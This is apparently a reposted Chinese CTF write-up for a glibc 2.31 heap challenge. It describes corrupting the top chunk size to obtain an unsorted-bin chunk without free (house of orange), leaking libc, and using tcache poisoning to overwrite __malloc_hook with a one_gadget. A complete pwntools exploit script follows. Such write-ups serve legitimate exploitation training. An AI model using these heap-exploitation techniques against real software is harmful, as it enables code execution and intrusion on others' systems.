当前位置:网站首页>heap2 (tcache attack,house of orange)

heap2 (tcache attack,house of orange)

2022-08-11 05:29:00 Mauricio_Davis

知识点

  • top_chunk的size大小一定是页对齐的,也就是0x?000,低三位要保持为0
    • 保证篡改后不报错,则需要拿top_chunk的地址+size为页对齐即可
    • 想要控制篡改后的size则可以通过先申请一个chunk来调整top_chunk的size后在改写
    • 需要注意的是top_chunk的inuse位一定是1
    • 当top_chunk的大小不够申请时(不能超过mmap阈值,否则会使用mmap来申请chunk),旧的top_chunk,先切分出两个0x10大小的chunk,剩下的空间如果不小于最小的chunk则使用int_free释放掉

程序分析

  • heap题目功能有创建chunk以及输出chunk,没有释放

在这里插入图片描述

  • add使用了gets函数,无限heap溢出

解题思路

  • 通过unsorted-bin泄露出libc_base
  • 通过tcache attack申请到malloc_hook的地址
  • 改写为one_gadget

具体操作

  • 没有free操作,我们可以通过改写top_chunk的size大小,申请0x20的chunk改写top_size,后申请一个比改写后大的chunk,得到一个在small-bin中的chunk,再次申请就会切分small-bin中的chunk,剩下的就会进入unsorted-bin

  • 申请的chunk会从新的top_chunk中切分(高地址处),通过之前申请的0x18改写unsorted-chunk的size使其可以达到chunk2处,这样通过再次申请chunk,切分改写后的unsorted-chunk,使剩下的chunk刚好落在chunk2,输出就可以得到main-arena+offset,进而得到libc_base

    • 这里需要注意的是,有以下安全检查,所以我们还需要在chunk2里面布置一下
    • 第一个if:unsorted_chunk的大小不能小于或大于阈值
    • 第二个if:下一个chunk(victim+size),不能小于大于阈值
    • 第三个if:next_chunk的presize要和victim的size一致
    • 第四个if:检查链是否被破坏,这里的话注意一下溢出的时候不要覆盖掉fd低位就行
    • 第五个if:next_chunk的pre_inuse位需要为0

在这里插入图片描述

  • 使用tcache_attack(类似fastbin attck)比fastbin-attck容易的多,因为tcache有记录chunk个数,所以我们需要让两个chunk进入相同的tcache链,操作如上,看exp

在这里插入图片描述

  • tcache_get里面没有任何检查,所以我们直接写入malloc_hook的地址就可以直接申请出来

在这里插入图片描述

  • 第一次的unsorted-bin至少需要保留0x20大小,这样我们申请出来,相比于tcache_chunk所在的位置是低地址,通过无限溢出,改写tcache的chunk为malloc_hook
  • 写入one_gadget,获取shell

注意点

  1. 我们既然我们保留了unsorted-chunk一个chunk大小,我们就要注意后面申请的chunk不能低于或等于他,否则就会被直接申请走,后面我们就无法通过他来改写
  2. 注意伪造unsorted-chunk来绕过检查

exp

from pwn import *
context.update(os='linux',arch='amd64',log_level='debug')
#c=remote(b'node4.buuoj.cn',25937)
c=process(b'./heap2')
libc=ELF(b'/home/davis/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6')

gdb.attach(c,''' b *$rebase(0x1314) b *$rebase(0x1417) ''')

og=[0xe3afe,0xe3b01,0xe3b04]


def add(idx,size,content):
	c.recvuntil(b'>> ')
	c.sendline(b'1')
	c.recvuntil(b'Index: ')
	c.sendline(str(idx).encode())
	c.recvuntil(b'Size: ')
	c.sendline(str(size).encode())
	c.recvuntil(b'Content: ')
	c.sendline(content)
	
	
	
def show(idx):
	c.recvuntil(b'>> ')
	c.sendline(b'2')
	c.recvuntil(b'Index: ')
	c.sendline(str(idx))

	

add(0,0x1f450,b'\x00') #调整top_size大小
add(1,0x20,b'a'*0x28+p64(0x8e1))#篡改top_size
add(2,0x900,b'm'*0x30+p64(0x1900)+p64(0x910))#为绕过安全检查布置的内容
add(3,0x18,b'1'*0x10+b'j'*0x8+p16(0x1900))#改写unsortedbin的size
add(4,6320,b'\x00')#通过计算申请这个chunk可以让剩下的部分在chunk2里面

show(2)
libc_base=u64(c.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x1ecbe0

log.success("libc_base:"+hex(libc_base))

malloc_hook_chunk=0x7f7b15e28b70-0x23+8


add(5,0x2620,b'f'*0x2620)#调整top_size大小
add(6,0x50,b'abcd'*22+p64(0x61))#tcache1 , 0x40
add(7,0x70,b'aaaa')



add(5,0x1e90,b'f'*0x1e90)
add(6,0x70,b'xxxx'*30+p64(0x61)+b's'*0x10+p64(0x23fa0)+p64(0x400))#tcache2
add(7,0x70,b'abcd')


malloc_hook=libc.sym['__malloc_hook']
log.success("malloc_hook:"+hex(malloc_hook))

add(8,0x18,b'a'*0x23fa0+p64(libc_base+malloc_hook))
add(9,0x30,b'test')
add(10,0x30,p64(libc_base+og[1]))



#add(0,0,b'0')


c.recvuntil(b'>> ')
c.sendline(b'1')
c.recvuntil(b'Index: ')
c.sendline(b'0')
c.recvuntil(b'Size: ')
c.sendline(b'0')



c.interactive()











原网站

版权声明
本文为[Mauricio_Davis]所创,转载请带上原文链接,感谢
https://blog.csdn.net/qq_65147345/article/details/126225921